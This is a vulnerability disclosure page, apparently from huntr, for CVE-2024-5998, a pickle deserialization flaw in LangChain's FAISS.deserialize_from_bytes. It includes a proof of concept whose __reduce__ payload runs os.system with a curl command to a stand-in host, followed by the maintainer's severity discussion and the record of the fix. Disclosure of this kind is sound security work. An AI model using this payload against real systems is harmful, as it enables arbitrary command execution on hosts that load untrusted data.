

pickle deserialization vulnerability in [langchain-ai/langchain](#)

✓ Valid

Reported on Jun 12th 2024

Description

Data in the `FAISS.deserialize_from_bytes` function can be controlled, leading to pickle deserialization vulnerability

Proof of Concept

First, generate a serialized data

```
import pickle
import os
import base64

class Test(object):
    def __init__(self):
        self.a = 1

    def __reduce__(self):
        return (os.system, ('curl http://example.com/test',))

if __name__ == '__main__':
    tmp = Test()
    data = pickle.dumps(tmp)
    print(base64.b64encode(data))
```

Obtain the serialized data, pass it into the `FAISS.deserialize_from_bytes` function, and then call `os.system` function to execute the command

```
import base64
from langchain_community.embeddings.huggingface import HuggingFaceEmbeddings
from langchain_community.vectorstores import FAISS
embeddings = HuggingFaceEmbeddings(model_name="all-MiniLM-L6-v2")
db = FAISS.deserialize_from_bytes(
    embeddings=embeddings, serialized=base64.b64decode(b'This is the serialized dat
')
```

Impact

Call dangerous functions such as `os.system` to execute commands, etc

Occurrences

 `faiss.py` L1104

⚙️ We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 2 years ago

✉️ We have contacted a member of the **langchain-ai/langchain** team and are waiting to hear back 2 years ago



A **langchain-ai/langchain** maintainer has acknowledged this report 2 years ago

📅 The scheduled publication date was automatically extended from 10th Sep 2024 to 17th Sep 2024 due to the maintainers acknowledgement of the report 2 years ago



Eugene Yurtsev commented 2 years ago

Maintainer

Thank you for disclosing. We've not awarded this type of vulnerability in the past: <https://huntr.com/bounties/6dfaf058-79c1-49cf-ad0c-51fa86c472a6>.

The main reason is that in practice the risk from this is low and it requires that the user actively accept untrusted input from somewhere.

I've made a PR to update functionality to force opt-in from the user: <https://github.com/langchain-ai/langchain/pull/22861/files>



Panda commented 2 years ago

Researcher

I agree with you, which is why I rated it 7.6, but it cannot be denied that in some cases, this is still a security issue, and the bonus is not important to me. Can I update and release a CVE number for this?



📝 **Eugene Yurtsev** modified the Severity from High (7.6) to Medium (5.2) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Eugene Yurtsev validated this vulnerability 2 years ago

\$ **cn-panda** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-5998 assigned to this report. 2 years ago



Eugene Yurtsev commented 2 years ago

Maintainer

I validated the report, and we'll publish the CVE through huntr so that the fix information is available as well (as soon as the new version is released).

This CVE is noise and causes unnecessary work for users without any actual security implications. I re-assigned a CVSS score of 5.2 since someone has to expose this code on a web-server (or expose some other entry point) -- in practice, it's probably even lower since it's not a common code pattern.



Panda commented 2 years ago

Researcher

Thanks, because I found actual examples in some repositories within our company (it is an open platform for users to submit model training and support fine-tuning), so I believe this reminder is necessary



✓ Eugene Yurtsev marked this as fixed in 0.2.9 with commit 604dfe 2 years ago

\$ The fix bounty has been dropped ✗

\$ faiss.py#L1104 has been validated ✓

⚠ We have sent a warning to the langchain-ai/langchain team to inform them that this report will be published in 48 hours a year ago

✉ We have notified the langchain-ai/langchain maintainers about this report in their weekly follow-up a year ago



This vulnerability has now been published a year ago



CVE-2024-5998 has now been published a year ago

[Sign in](#) to join this conversation

CVE

CVE-2024-5998

Published

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

Medium (5.2)

Attack vector	Physical
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	Low
Availability	Low

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
latest

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



Panda
@cn-panda

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

